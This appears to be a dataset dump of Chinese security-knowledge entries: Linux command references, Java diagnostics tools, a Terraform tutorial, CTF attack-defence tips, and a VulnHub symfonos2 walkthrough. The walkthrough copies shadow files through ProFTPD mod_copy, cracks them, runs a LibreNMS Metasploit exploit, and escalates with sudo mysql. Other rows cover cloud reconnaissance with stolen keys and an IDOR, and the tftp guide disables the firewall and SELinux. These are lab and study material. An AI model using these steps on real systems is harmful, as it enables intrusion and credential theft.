text
stringlengths
100
9.93M
category
stringclasses
11 values
# BugDB v1 ## [Flag0](./flag0) -- Found - What can you see? What can you not see? - What data types are involved? - Have you tried querying different endpoints?
sec-knowleage
ex === 启动vim编辑器的ex编辑模式 ## 补充说明 在 **ex** 模式下启动vim文本编辑器。ex执行效果如同`vi -E`,适用于法及参数可参照vi指令,如要从Ex模式回到普通模式,则在vim中输入`:vi`或`:visual`即可。 ### 语法 ```shell ex(参数) ``` ### 参数 文件:指定待编辑的文件。
sec-knowleage
ssh-copy-id === 把本地的ssh公钥文件安装到远程主机对应的账户下 ## 补充说明 **ssh-copy-id命令** 可以把本地主机的公钥复制到远程主机的authorized_keys文件上,ssh-copy-id命令也会给远程主机的用户主目录(home)和`~/.ssh`, 和`~/.ssh/authorized_keys`设置合适的权限。 **ssh-copy-id** 使用ssh登陆远程服务器,一般是通过密码校验用户身份,所以在sshd的配制中应该启用密码校验方式: 将/etc/ssh/sshd_config中的PasswordAuthentication设置为yes,之后重启sshd ### 语法 ```shell ssh-copy-id [-i [identity_file]] [user@]machine ``` ### 选项 ```shell -i:指定公钥文件 ``` ### 实例 1、把本地的ssh公钥文件安装到远程主机对应的账户下: ```shell ssh-copy-id user@server ssh-copy-id -i ~/.ssh/id_rsa.pub user@server ```
sec-knowleage
tftp === 在本机和tftp服务器之间使用TFTP协议传输文件 ## 补充说明 **tftp命令** 用在本机和tftp服务器之间使用TFTP协议传输文件。 TFTP是用来下载远程文件的最简单网络协议,它其于UDP协议而实现。嵌入式linux的tftp开发环境包括两个方面:一是linux服务器端的tftp-server支持,二是嵌入式目标系统的tftp-client支持。因为u-boot本身内置支持tftp-client,所以嵌入式目标系统端就不用配置了。下面就详细介绍一下linux服务器端tftp-server的配置。 ### 语法 ```shell tftp(选项)(参数) ``` ### 选项 ```shell -c:指定与tftp服务器连接成功后,立即要执行的指令; -m:指定文件传输模式。可以是ASCII或者Binary; -v:显示指令详细执行过程; -V:显示指令版本信息。 ``` ### 参数 主机:指定tftp要联机的tftp服务器的ip地址或主机名。 ### 实例 **1、安装tftp服务器** 需要安装xinetd、tftp和tftp-server 3个软件 如果能上网,通过yum安装: ```shell yum install xinetd yum install tftp yum install tftp-server ``` 如果不能上网,可以直接安装提供的rpm包: ```shell rpm -ivh xinetd-2.3.14-18.fc9.i386.rpm rpm -ivh tftp-0.48-3.fc9.i386.rpm rpm -ivh tftp-server-0.48-3.fc9.i386.rpm ``` **2、配置tftp服务器** 修改/etc/xinetd.d/tftp文件,将其中的disable=yes改为disable=no。主要是设置TFTP服务器的根目录,开启服务。修改后的文件如下: ```shell service tftp { socket_type =dgram protocol =udp wait =yes user =root server =/usr/sbin/in.tftpd server_args =-s /home/mike/tftpboot -c disable =no per_source =11 cps =100 2 flags =IPv4 } ``` 说明:修改项`server_args= -s <path> -c`,其中<path>处可以改为你的tftp-server的根目录,参数-s指定chroot,-c指定了可以创建文件。 **3、启动tftp服务器并关闭防火墙** ```shell /etc/init.d/iptables stop # 关闭防火墙 sudo /sbin/service xinetd start 或 service xinetd restart /etc/init.d/xinetd start ``` 看到启动[OK]就可以了 4、查看tftp服务是否开启 ```shell netstat -a | grep tftp ``` 显示结果为`udp 0 0 *:tftp *:*`表明服务已经开启,就表明tftp配置成功了。 **5、tftp使用** 复制一个文件到tftp服务器目录,然后在主机启动tftp软件,进行简单测试。 ```shell tftp 192.168.1.2 tftp>get <download file> tftp>put <upload file> tftp>q ``` **6、tftp命令用法如下** ```shell tftp your-ip-address ``` 进入TFTP操作: * connect:连接到远程tftp服务器 * mode:文件传输模式 * put:上传文件 * get:下载文件 * quit:退出 * verbose:显示详细的处理信息 * tarce:显示包路径 * status:显示当前状态信息 * binary:二进制传输模式 * ascii:ascii 传送模式 * rexmt:设置包传输的超时时间 * timeout:设置重传的超时时间 * help:帮助信息 * ? :帮助信息 **7、如果老是出现“AVC Denial, click icon to view”的错误,并不能传输文件,需要作如下修改** 修改`/etc/sysconfig/selinux`,将SELINUX设定为disable,使用命令`setenforce 0`让selinux配置文件生效。 **8、Busybox中tftp命令的用法** 命令格式为: ```shell tftp [option] ... host [port] ``` 如果要下载或上传文件的话是一定要用这些option的。 ```shell -g 表示下载文件 (get) -p 表示上传文件 (put) -l 表示本地文件名 (local file) -r 表示远程主机的文件名 (remote file) ``` 例如,要从远程主机192.168.1.2上下载 embedexpert,则应输入以下命令 ```shell tftp -g -r embedexpert 192.168.1.2 ```
sec-knowleage
# symfonos2-WalkThrough --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **靶机地址** - https://www.vulnhub.com/entry/symfonos-2,331/ **Description** OSCP-like Intermediate real life based machine designed to teach the importance of understanding a vulnerability. SHOULD work for both VMware and Virtualbox. **知识点** - smb 信息探测 - CVE-2015-3306 - CVE-2018-20434 - shadow 密码爆破 **实验环境** `环境仅供参考` - VMware® Workstation 15 Pro - 15.0.0 build-10134415 - kali : NAT 模式,192.168.141.134 - 靶机 : NAT 模式 --- # 前期-信息收集 开始进行 IP 探活 ```bash nmap -sP 192.168.141.0/24 ``` 排除法,去掉自己、宿主机、网关, `192.168.141.149` 就是目标了 扫描开放端口 ```bash nmap -T5 -A -v -p- 192.168.141.149 ``` 21、22、80、139、445 怎么又有 smb,枚举下 smb 试试 ```bash enum4linux 192.168.141.149 ``` 找到一个 `/anonymous` 文件夹和 2个用户,进去看看文件 ```bash smbclient //192.168.141.149/anonymous -U % -N ls cd backups\ ls get log.txt ``` 查看下 log.txt 可以发现很多线索 开头告诉你 shadow 内容在 backups 目录下,然后后面是 smb 的配置,有个密码 然后开始看 ftp 的配置,配置文件说明了是 ProFTPD 程序,还告诉你有个 aeolus 账号 想起来之前 nmap 扫描 FTP 得到的版本号是 1.3.5,也许可以找找漏洞 ```bash searchsploit -w proftpd 1.3.5 ``` 这3个都一样,漏洞编号为 CVE-2015-3306,但是这个漏洞只是可以复制文件,并不能直接进行命令执行,并且需要知道目标路径 --- # 中期-漏洞利用 这里我们从 log.txt 中可以得知 anonymous 用户的实际路径为 `/home/aeolus/share`,加上开头告诉你 shadow 文件在 backup 目录下,接下来就尝试将 backup目录下的 shadow 复制到 anonymous 用户目录下 ```bash ftp 192.168.141.149 site cpfr /var/backups/shadow.bak site cpto /home/aeolus/share/shadow.txt ``` 成功了,上 smb 下载下来 ```bash smbclient //192.168.141.149/anonymous -U % -N ls get shadow.txt exit cat shadow.txt ``` 下面用同样的方式下载 passwd 文件 ```bash ftp 192.168.141.149 site cpfr /etc/passwd site cpto /home/aeolus/share/passwd.txt smbclient //192.168.141.149/anonymous -U % -N get passwd.txt exit mkdir /root/.john cp passwd.txt /root/.john cp shadow.txt /root/.john cd /root/.john unshadow passwd.txt shadow.txt > hash.txt cat hash.txt ``` 使用 john 开始跑 hash ```bash gunzip /usr/share/wordlists/rockyou.txt.gz john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt ``` 只跑出 aeolus 一个用户的密码,使用这个凭证成功 SSH 上去 ``` aeolus sergioteamo ``` 找找提权的可能 ```bash uname -a sudo -l find / -perm -u=s 2>/dev/null ``` 没成功,看看 web 方面 又是啥都没有,直接翻 web 配置文件看看 ```bash cd /etc/apache2 cat apache2.conf ``` 看看这个端口监听文件 ```bash cat ports.conf ``` 端口 8080 有个无法从外部访问的网站,端口转发一下 ```bash socat TCP-LISTEN:5000,fork,reuseaddr tcp:127.0.0.1:8080 ``` 现在 8080 可以通过 5000 端口访问 找找有没有可利用的漏洞 ```bash searchsploit -w librenms ``` 看了下,需要认证,结果用 aeolus sergioteamo 可以登上去,那就用 msf 模块试试 ```bash msfconsole search librenms use exploit/linux/http/librenms_addhost_cmd_inject set RHOST 192.168.141.149 set LHOST 192.168.141.134 set PORT 5000 set USERNAME aeolus set PASSWORD sergioteamo run ``` --- # 后期-提权 寻找提权利用点 ```bash python -c 'import pty; pty.spawn("/bin/bash")' sudo -l ``` 可以在 gtfobin 找到 mysql 提权的方法 https://gtfobins.github.io/gtfobins/mysql/ ``` sudo mysql -e '\! /bin/sh' ``` 提权成功,感谢靶机作者 Zayotic,和 mzfr 分享的 writeup
sec-knowleage
expand === 将文件的制表符转换为空白字符 ## 补充说明 **expand命令** 用于将文件的制表符(TAB)转换为空白字符(space),将结果显示到标准输出设备。 ### 语法 ```shell expand(选项)(参数) ``` ### 选项 ```shell -t<数字>:指定制表符所代表的空白字符的个数,而不使用默认的8。 ``` ### 参数 文件:指定要转换制表符为空白的文件。
sec-knowleage
--- title: TF入门以及在云上攻防中的作用 --- <center><h1>Terraform 使用入门以及在云上攻防中的作用</h1></center> --- ## 0x00 前言 Terraform 是一种资源编排工具,通过它可以很方便的去构建云服务资源,本文将以「在腾讯云上创建一个 COS 存储桶」为例进行演示。 ## 0x01 Terraform 概述 Terraform 官方下载页面:[terraform.io/downloads](https://www.terraform.io/downloads) ,在这里找到自己的系统进行安装即可。 目前 Terraform 基本已经支持了大部分主流的云服务厂商,在 [registry.terraform.io/browse/providers](https://registry.terraform.io/browse/providers) 中可以看到其所支持的云服务厂商。 本文中将使用腾讯云作为演示,在平时使用 Terraform 时会频繁的去参考官方文档,其腾讯云的官方文档地址为:[registry.terraform.io/providers/tencentcloudstack/tencentcloud/latest/docs](https://registry.terraform.io/providers/tencentcloudstack/tencentcloud/latest/docs) ## 0x02 开始编写 首先创建一个文件夹(这里文件夹名称为 cos_bucket_demo),并新建以下文件。 ```shell . └── cos_bucket_demo ├── README.md ├── main.tf ├── output.tf ├── terraform.tfvars ├── variables.tf └── version.tf ``` - README.md 描述文件 - main.tf Terraform 主体代码文件 - output.tf 内容输出代码文件 - terraform.tfvars 参数文件 - variables.tf 变量声明文件 - version.tf 版本信息文件 可以看到在 cos_bucket_demo 文件夹中,有多个 tf 后缀的文件,其实这些 tf 文件里的代码都可以写到一个 tf 文件里,但一般为了规范些,还是建议分多个 tf 文件去写,一个文件夹对应一个 tf 场景。 接下来,我们来看看每个 tf 文件里都有哪些内容。 ### version.tf version.tf 一般是放和版本信息有关的代码,例如这里就是声明了 Provider 来源为 tencentcloud 且版本为 1.72.5,Provider 在这里可以理解成「提供云服务的厂商」的意思。 ```json terraform { required_providers { tencentcloud = { source = "tencentcloudstack/tencentcloud" version = "1.72.5" } } } ``` 如果经常使用某个云的 Provider,建议指定固定的版本,这样在开启插件缓存后,每次初始化 Terraform 时,就不会因为 Provider 有更新了而要重新下载它,同时还会避免因为 Provider 更新导致代码不可用或者出现告警的情况。 开启插件缓存方法可以参考:[wiki.teamssix.com/CloudNative/Terraform/terraform-enable-plugin-cache.html](https://wiki.teamssix.com/CloudNative/Terraform/terraform-enable-plugin-cache.html) ### variables.tf variables.tf 里一般会写上变量的声明,例如这里需要声明腾讯云的 secret id 和 secret key 变量。 ```json variable "tencentcloud_secret_id" { type = string description = "Set Tencent Cloud secret id." sensitive = true nullable = false } variable "tencentcloud_secret_key" { type = string description = "Set Tencent Cloud secret key." sensitive = true nullable = false } ``` 其中 variable 后面的是变量名称,type 指定变量类型,description 用来描述变量的用途,sensitive 用来指定变量是不是敏感信息,nullable 用来指定变量是不是可以为空。 ### terraform.tfvars terraform.tfvars 文件比较简单,在这里可以写上变量的值,这样在运行 Terraform 的时候,就不用从命令行中去指定变量了。 如果没有该文件,那么在执行 Terraform 代码时,Terraform 就会在命令行中提示输入这些变量。 ```json tencentcloud_secret_id = "xxx" tencentcloud_secret_key = "xxx" ``` ### output.tf output.tf 文件里一般会指定要输出的内容,这里要输出的是 COS Bucket 的地址。 ```json output "tencent_cloud_cos_bucket_name" { value = "https://${tencentcloud_cos_bucket.cos_bucket_demo.cos_bucket_url}" description = "This is the bucket name of Tencent Cloud COS." } ``` ### main.tf 最后 main.tf 一个就是最核心的文件了。 ```json provider "tencentcloud" { secret_id = var.tencentcloud_secret_id secret_key = var.tencentcloud_secret_key region = "ap-beijing" } resource "tencentcloud_cos_bucket" "cos_bucket_demo" { bucket = "teamssix-${random_string.random_suffix.result}-${data.tencentcloud_user_info.foo.app_id}" } resource "random_string" "random_suffix" { length = 7 special = false upper = false } data "tencentcloud_user_info" "foo" {} ``` 首先在 provider 块中指定了腾讯云的 secret id 和 secret key 以及 region,接着使用 tencentcloud_cos_bucket resource 块用来创建存储桶。 由于腾讯云的 Bucket 名称中包含了使用者的 APP ID,所以这里还使用了 tencentcloud_user_info data 块,用来获取当前用户的 APP ID,同时为了避免 Bucket 名称重复,这里使用了 random_string resource 块用来生成一个随机数。 最后,就可以执行这些代码了。 ## 0x03 执行代码 首先,将终端路径切到 cos_bucket_demo 文件夹下,运行初始化命令。 ```json terraform init ``` 该命令会识别当前文件夹里的 tf 文件中所使用到的 Provider,然后去下载它。 如果提示 Error: Failed to install provider,大多数情况是因为网络的问题,可以在终端里设置代理后再次尝试。 然后运行以下命令,该命令会检查当前代码是否存在问题,如果没问题就会给出接下来将要执行的计划。 ```json terraform plan ``` 最后,确认没问题后,就可以应用这个代码了。 ```json terraform apply ``` 在执行该命令的时候,会提示 Enter a value,这时如果确认无误,就输入 yes 即可,最后就可以在 Outputs 中看到 Bucket 的 URL 了。 <img width="1000" src="/img/1653896176.png"> 这时,在腾讯云控制台的存储桶列表中,就可以看到我们刚才创建的存储桶了。 <img width="1000" src="/img/1653896183.png"> 这样,我们就完成了利用 Terraform 创建云服务资源的过程,如果想要销毁这个资源也很容易,直接运行以下命令即可。 ```json terraform destroy ``` ## 0x04 在云上攻防中的作用 通过上面的内容,可以看到 Terraform 可以调用云厂商的 AK、SK 进行云服务资源的创建与获取,作为安全人员,我们可以利用这个特性进行云上服务的批量信息收集,下面以 COS、CVM、CAM 的信息收集为例。 将 output.tf 改为以下内容 ```json output "tencent_cloud_cos_bucket_list" { value = data.tencentcloud_cos_buckets.cos_buckets.bucket_list } output "tencent_cloud_cvm_instances_list" { value = data.tencentcloud_instances.cvm_instances.instance_list } output "tencent_cloud_cam_users_list" { value = data.tencentcloud_cam_users.cam_users.user_list } ``` 将 main.tf 改为以下内容 ```json provider "tencentcloud" { secret_id = var.tencentcloud_secret_id secret_key = var.tencentcloud_secret_key region = "ap-beijing" } data "tencentcloud_cos_buckets" "cos_buckets" { } data "tencentcloud_instances" "cvm_instances" { } data "tencentcloud_cam_users" "cam_users" { } ``` 然后应用代码,就可以获取到 COS、CVM、CAM 的相关信息了,如果想获取其他的信息,可以在 Provider 腾讯云官方文档中找到。 <img width="800" src="/img/1653896190.png"> 从站在安全人员的角度来说,我们完全可以通过 Terraform 打造一个独属于自己的全云场景覆盖的 AK、SK 利用工具,而且我们不用自己调取、调试任何 SDK,可以说是潜力无限了。 > 通过 Terraform 进行信息收集的这个想法来自 tanger 师傅 ## 0x05 最后 Terraform 的内容远远不止上面说的这些,官方文档对它的介绍也足够详细,同时现在也有了由第三方翻译的中文文档:[lonegunmanb.github.io/introduction-terraform](https://lonegunmanb.github.io/introduction-terraform/) 另外在 T Wiki 中,还有一些 Terraform 其他资料,比如 Terraform 可视化、代码安全检查的方法等等,也可以作为扩展阅读:[wiki.teamssix.com/CloudNative/Terraform](https://wiki.teamssix.com/CloudNative/Terraform/) 如果你在编写 Terraform 代码的时候,想找一些其他人写的代码进行参考,那么不妨看看 TerraformGoat 这个项目:[github.com/HuoCorp/TerraformGoat](https://github.com/HuoCorp/TerraformGoat) 最后建议自己在编写 Terraform 代码的时候,多看官方文档,多用英文去搜索,多用官方文档的代码,可以在很大程度上提高自己的效率。 <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年5月30日" } } </script>
sec-knowleage
# Postbook - FLAG1 ## 0x00 View Post http://127.0.0.1/1234567890/index.php?page=view.php&id=1 ![](./imgs/post.jpg) ## 0x01 FLAG The id seems can be change. http://127.0.0.1/1234567890/index.php?page=view.php&id=2 ![](./imgs/flag.jpg)
sec-knowleage
head === 显示文件的开头部分。 ## 概要 ```shell head [OPTION]... [FILE]... ``` ## 主要用途 - 在未指定行数时默认显示前10行。 - 处理多个文件时会在各个文件之前附加含有文件名的行。 - 当没有文件或文件为`-`时,读取标准输入。 ## 选项 ```shell -c, --bytes=[-]NUM 显示前NUM字节;如果NUM前有"-",那么会打印除了文件末尾的NUM字节以外的其他内容。 -n, --lines=[-]NUM 显示前NUM行而不是默认的10行;如果NUM前有"-",那么会打印除了文件末尾的NUM行以外的其他行。 -q, --quiet, --silent 不打印文件名行。 -v, --verbose 总是打印文件名行。 -z, --zero-terminated 行终止符为NUL而不是换行符。 --help 显示帮助信息并退出。 --version 显示版本信息并退出。 NUM可以有一个乘数后缀: b 512 kB 1000 k 1024 MB 1000*1000 M 1024*1024 GB 1000*1000*1000 G 1024*1024*1024 T、P、E、Z、Y等以此类推。 也可以使用二进制前缀: KiB=K MiB=M 以此类推。 ``` ## 参数 FILE(可选):要处理的文件,可以为一或多个。 ## 返回值 返回0表示成功,返回非0值表示失败。 ## 例子 ```shell # 查看历史文件的前6行: [user2@pc ~]$ head -n 6 ~/.bash_history #1575425555 cd ~ #1575425558 ls -lh #1575425562 vi ~/Desktop/ZhuangZhu-74.txt ``` ```shell # 查看多个文件: [user2@pc ~]$ head -n ~/.bash_history ~/.bashrc ==> /allhome/user2/.bash_history <== #1575425555 cd ~ #1575425558 ls -lh #1575425562 vi ~/Desktop/ZhuangZhu-74.txt #1575425566 uptime #1575425570 find ~/ -maxdepth 3 -name 'test.sh' -exec lh {} \; ==> /allhome/user2/.bashrc <== # .bashrc # forbid use Ctrl+D to exit shell. set -o ignoreeof # Source global definitions. if [ -f /etc/bashrc ]; then . /etc/bashrc fi ``` ### 注意 1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 head`,`info coreutils 'head invocation'`。
sec-knowleage
### 线下攻防经验小结 首先,正常比赛会提供提交 flag 的接口,接口地址类似 `http://172.16.4.1/Common/submitAnswer`。一般我们需要根据主办方给出的文档要求通过接口提交 flag。在比赛中要求接口地址使用 Post 方式提交,提交时带两个参数,一个是 `Answer`,其值为获取到的 flag 字符串,而另一个则是 `token` ,其值为各个队伍的队伍 Token。 然后比赛时主办方也会给每个参赛队伍提供一台用于 **分析网络流量的虚拟机** ,选手需要访问地址下载流量文件进行分析。 ### 线下攻防经验关于关注 Gamebox 状态 比赛中可以查看己方和敌方 GameBox 状态。时刻关注可以尽早获取比赛信息,根据信息做出调整。 对于己方 GameBox,有存在如下原因造成 GameBox 被 down 掉: 1. 主办方裁判系统存在失误,误判 GameBox 为不可用状态。这种情况一般在比赛开始前可以发现,如果发现存在这种情况,要尽早向工作人员示意处理以减少损失。 2. 程序 patch 失误导致服务不可用。在程序 patch 完之后要进入下一轮关注 GameBox 状态,如果 patch 失误导致不可用,需要及时挽救。但是也不要过度担心把原来的未修补过的漏洞程序换回去。因为 down 掉是所有队平分得很少的分,而直接上漏洞程序会使得强势的队伍直接利用得到很高的得分。所以要依据具体情况对待。 3. 对手不正当攻击导致 GameBox 不可用。如果发现,需要及时补救。 4. 主办方加强程序 check。这种情况主办方会对所有队员进行通知公告。在 GameBox 状态墙上的状态会显示该题的各队 GameBox 大面积不可用。 对于敌方 GameBox。我们可以获取以下信息。 1. 根据攻击流观测哪些队伍的 GameBox 没有防御成功。针对这些队伍可以更多地实现攻击 2. 有队伍拿出一血时。可以根据各队 GameBox 状态推断出一血队伍是否已经写出利用脚本。写出利用脚本后可以观测己方是否做好了防御。 ### 线下攻防经验关于分清区段与端口 比赛过程中会主办方会安排好合理的网段分布。 维护的时候需要连接到本队 GameBox 所在网段上,根据主办方提供的 CTF 账号与密码登录。而与其他队伍的 GameBox 交互时则需要连接到对应的网段里与漏洞程序进行交互。提交 flag 则需要到指定的答题平台上提交。 !!! warning 这里尤其需要注意的就是端口。如果端口在不轻易间弄错的话,这样的错误是挺难察觉到的,而这样的失误也会带来不必要的损失。甚至会出现长时间无法提交 flag 的致命情况。所以需要小心注意。 ### 线下攻防经验关于服务 patch 与防御 1. 程序 patch 要合理并同时符合裁判系统 check 条件。虽然系统的 check 并未公开是 check 哪里,但是一般情况下,系统是不会过度为难的。 2. 程序 patch 使用 IDA 进行修改,IDA 提供了三种方式的 patch:byte,word,assemble.其中字节码修改比较好用。因为逐字节修改不需考虑汇编指令,一般这样的修改改动也很小,在一定场合下十分好用。汇编指令级别的修改虽然方便不需要修改字节码,但是也造成了一定的不便。比如需要额外考虑汇编指令的长度,结构是否合理完整,逻辑是否和原来一样,修改的汇编指令是否合法等问题。 3. 在 patch 程序时要记得备份原来的漏洞程序,以供队伍分析使用。在上传 patch 的时候应该先删除原来的漏洞程序,然后将 patch 过的程序复制进去,复制进去之后还需要给程序赋予相应的权限。 4. 一般比赛中,漏洞程序会有十几处需要 patch 的地方。Patch 的时候不仅要讲究有效合理,还要满足能够在一定程度上防范或混淆对手的分析。 ### 线下攻防经验关于构造脚本框架快速展开攻击 在攻防比赛过程中,一血显得尤其重要。因此有一个攻击脚本框架是非常有利的。快速开发攻击脚本,可以在前期保持优势地位,也可以在不断拿分的同时省下时间去做好防御。 ### 线下攻防比赛的一些策略 1. 在比赛过程中,不宜死耗在一道题上,由于一血的优势性,在比赛过程中更应该全面了解赛题难度,先从 **简单题** 开始进行分析,步步为营。 2. 比赛过程中,两极会严重分化。应该着力打击和自己实力相当和比自己队伍更强的队伍,尤其是分数相差无几的情况下,更要严防严守。 3. 比赛中 NPC 会不定时发出攻击流量。从攻击流量中可以得到 payload。 4. 一定要把 NPC 往死里打。 5. 在开赛初可以将所有的管理密码都设置为同一个密码,这样方便队员登录管理。在初期将所有文件备份下来供队内分享。
sec-knowleage
version: '2' services: postgres: image: vulhub/postgres:9.6.7 ports: - "5432:5432" environment: - POSTGRES_PASSWORD=vulhub_secret volumes: - ./init.sh:/docker-entrypoint-initdb.d/init.sh
sec-knowleage
# 工具 --- ## jconsole jconsole 是 JDK 自带的 GUI 工具。jconsole(Java Monitoring and Management Console) 是一种基于 JMX 的可视化监视与管理工具。 jconsole 的管理功能是针对 JMX MBean 进行管理,由于 MBean 可以使用代码、中间件服务器的管理控制台或所有符合 JMX 规范的软件进行访问。 注意:使用 jconsole 的前提是 Java 应用开启 JMX。 ### 开启 JMX Java 应用开启 JMX 后,可以使用 jconsole 或 jvisualvm 进行监控 Java 程序的基本信息和运行情况。 开启方法是,在 java 指令后,添加以下参数: ```java -Dcom.sun.management.jmxremote=true -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false -Djava.rmi.server.hostname=127.0.0.1 //指定 Java 程序运行的服务器 -Dcom.sun.management.jmxremote.port=18888 //指定 JMX 服务监听端口 ``` ### 连接 jconsole 如果是本地 Java 进程,jconsole 可以直接绑定连接。 如果是远程 Java 进程,需要连接 Java 进程的 JMX 端口。 ### jconsole 界面 进入 jconsole 应用后,可以看到以下 tab 页面。 * 概述 - 显示有关 Java VM 和监视值的概述信息。 * 内存 - 显示有关内存使用的信息。内存页相当于可视化的 jstat 命令。 * 线程 - 显示有关线程使用的信息。 * 类 - 显示有关类加载的信息。 * VM 摘要 - 显示有关 Java VM 的信息。 * MBean - 显示有关 MBean 的信息。 --- ## jvisualvm jvisualvm 是 JDK 自带的 GUI 工具。jvisualvm(All-In-One Java Troubleshooting Tool) 是多合一故障处理工具。它支持运行监视、故障处理、性能分析等功能。 ### jvisualvm 概述页面 jvisualvm 概述页面可以查看当前 Java 进程的基本信息,如:JDK 版本、Java 进程、JVM 参数等。 ### jvisualvm 监控页面 ### jvisualvm 线程页面 jvisualvm 线程页面展示了当前的线程状态。 jvisualvm 还可以生成线程 Dump 文件,帮助进一步分析线程栈信息。 ### jvisualvm 抽样器页面 jvisualvm 可以对 CPU、内存进行抽样,帮助我们进行性能分析。 --- ## MAT MAT 即 Eclipse Memory Analyzer Tool 的缩写。 MAT 本身也能够获取堆的二进制快照。该功能将借助 `jps` 列出当前正在运行的 Java 进程,以供选择并获取快照。由于 `jps` 会将自己列入其中,因此你会在列表中发现一个已经结束运行的 `jps` 进程。 MAT 可以独立安装,也可以作为 Eclipse IDE 的插件安装。 - http://www.eclipse.org/mat/downloads.php ### MAT 配置 MAT 解压后,安装目录下有个 `MemoryAnalyzer.ini` 文件。 `MemoryAnalyzer.ini` 中有个重要的参数 `Xmx` 表示最大内存,默认为:`-vmargs -Xmx1024m` 如果试图用 MAT 导入的 dump 文件超过 1024 M,会报错: ``` An internal error occurred during: "Parsing heap dump from XXX" ``` 此时,可以适当调整 Xmx 大小。如果设置的 Xmx 数值过大,本机内存不足以支撑,启动 MAT 会报错: ``` Failed to create the Java Virtual Machine ``` --- ## Arthas - https://github.com/alibaba/arthas Arthas 是 Alibaba 开源的 Java 诊断工具,深受开发者喜爱。在线排查问题,无需重启;动态跟踪 Java 代码;实时监控 JVM 状态。 Arthas 支持 JDK 6+,支持 Linux/Mac/Windows,采用命令行交互模式,同时提供丰富的 Tab 自动补全功能,进一步方便进行问题的定位和诊断。 ### 安装 * 使用 arthas-boot(推荐) 下载 arthas-boot.jar,然后用 java -jar 的方式启动: ``` curl -O https://arthas.aliyun.com/arthas-boot.jar java -jar arthas-boot.jar ``` 打印帮助信息: ``` java -jar arthas-boot.jar -h ``` 如果下载速度比较慢,可以使用 aliyun 的镜像: ``` java -jar arthas-boot.jar --repo-mirror aliyun --use-http ``` * 使用 as.sh Arthas 支持在 Linux/Unix/Mac 等平台上一键安装 ``` curl -L https://arthas.aliyun.com/install.sh | sh ``` 上述命令会下载启动脚本文件 as.sh 到当前目录,你可以放在任何地方或将其加入到 $PATH 中。 直接在 shell 下面执行./as.sh,就会进入交互界面。 也可以执行./as.sh -h 来获取更多参数信息。 ### 使用 参考官方文档 - https://github.com/alibaba/arthas/blob/master/README_CN.md - https://start.aliyun.com/handson-lab?category=arthas - https://arthas.aliyun.com/doc/quick-start.html --- ## jps jps 是虚拟机进程状态工具。它可以显示指定系统内所有的 HotSpot 虚拟机进程状态信息。jps 通过 RMI 协议查询开启了 RMI 服务的远程虚拟机进程状态。 ### jps 命令用法 ``` jps [option] [hostid] jps [-help] ``` 如果不指定 hostid 就默认为当前主机或服务器。 常用参数: * option - 选项参数 * -m - 输出 JVM 启动时传递给 `main()` 的参数。 * -l - 输出主类的全名,如果进程执行的是 jar 包,输出 jar 路径。 * -v - 显示传递给 JVM 的参数。 * -q - 仅输出本地 JVM 进程 ID。 * -V - 仅输出本地 JVM 标识符。 * hostid - RMI 注册表中注册的主机名。如果不指定 hostid 就默认为当前主机或服务器。 其中 option、hostid 参数也可以不写。 ### jps 使用示例 列出本地 Java 进程 ``` $ jps 18027 Java2Demo.JAR 18032 jps 18005 jstat ``` 列出本地 Java 进程 ID ``` $ jps -q 8841 1292 5398 ``` 列出本地 Java 进程 ID,并输出主类的全名,如果进程执行的是 jar 包,输出 jar 路径 ``` $ jps -l 3002 /opt/jdk1.7.0/demo/jfc/Java2D/Java2Demo.JAR 2857 sun.tools.jstatd.jstatd ``` --- ## jstat 命令格式: ``` jstat [option] VMID [interval] [count] ``` 常用参数: * option - 选项参数,用于指定用户需要查询的虚拟机信息 * -class - 监视类装载、卸载数量、总空间以及类装载所耗费的时间 * -compiler:显示 JIT 编译的相关信息; * -gc:监视 Java 堆状况,包括 Eden 区、两个 survivor 区、老年代、永久代等区的容量、已用空间、GC 时间合计等信息。 * -gccapacity:显示各个代的容量以及使用情况; * -gcmetacapacity:显示 Metaspace 的大小; * -gcnew:显示新生代信息; * -gcnewcapacity:显示新生代大小和使用情况; * -gcold:显示老年代和永久代的信息; * -gcoldcapacity:显示老年代的大小; * -gcutil:显示垃圾回收统计信息; * -gccause:显示垃圾回收的相关信息(通 -gcutil),同时显示最后一次或当前正在发生的垃圾回收的诱因; * -printcompilation:输出 JIT 编译的方法信息。 * VMID - 如果是本地虚拟机进程,则 VMID 与 LVMID 是一致的;如果是远程虚拟机进程,那 VMID 的格式应当是:`[protocol:][//]lvmid[@hostname[:port]/servername]` * interval - 查询间隔 * count - 查询次数 更详细说明可以参考 - https://www.cnblogs.com/yjd_hycf_space/p/7755633.html ### jstat 使用示例 **类加载统计** 使用 jstat -class pid 命令可以查看编译统计信息。 * Loaded - 加载 class 的数量 * Bytes - 所占用空间大小 * Unloaded - 未加载数量 * Bytes - 未加载占用空间 * Time - 时间 查看类加载信息 ``` $ jstat -class 7129 Loaded Bytes Unloaded Bytes Time 26749 50405.3 873 1216.8 19.75 ``` **编译统计** 使用 jstat -compiler pid 命令可以查看编译统计信息。 * Compiled - 编译数量 * Failed - 失败数量 * Invalid - 不可用数量 * Time - 时间 * FailedType - 失败类型 * FailedMethod - 失败的方法 ``` $ jstat -compiler 7129 Compiled Failed Invalid Time FailedType FailedMethod 42030 2 0 302.53 1 org/apache/felix/framework/BundleWiringImpl$BundleClassLoader findClass ``` **GC 统计** 使用 jstat -gc pid time 命令可以查看 GC 统计信息。 以 250 毫秒的间隔进行 7 个采样,并显示 -gcutil 选项指定的输出。 ``` $ jstat -gcutil 21891 250 7 S0 S1 E O M CCS YGC YGCT FGC FGCT GCT 0.00 97.02 70.31 66.80 95.52 89.14 7 0.300 0 0.000 0.300 0.00 97.02 86.23 66.80 95.52 89.14 7 0.300 0 0.000 0.300 0.00 97.02 96.53 66.80 95.52 89.14 7 0.300 0 0.000 0.300 91.03 0.00 1.98 68.19 95.89 91.24 8 0.378 0 0.000 0.378 91.03 0.00 15.82 68.19 95.89 91.24 8 0.378 0 0.000 0.378 91.03 0.00 17.80 68.19 95.89 91.24 8 0.378 0 0.000 0.378 91.03 0.00 17.80 68.19 95.89 91.24 8 0.378 0 0.000 0.378 ``` 以 1 秒的间隔进行 4 个采样,并显示-gc 选项指定的输出。 ``` $ jstat -gc 25196 1s 4 S0C S1C S0U S1U EC EU OC OU 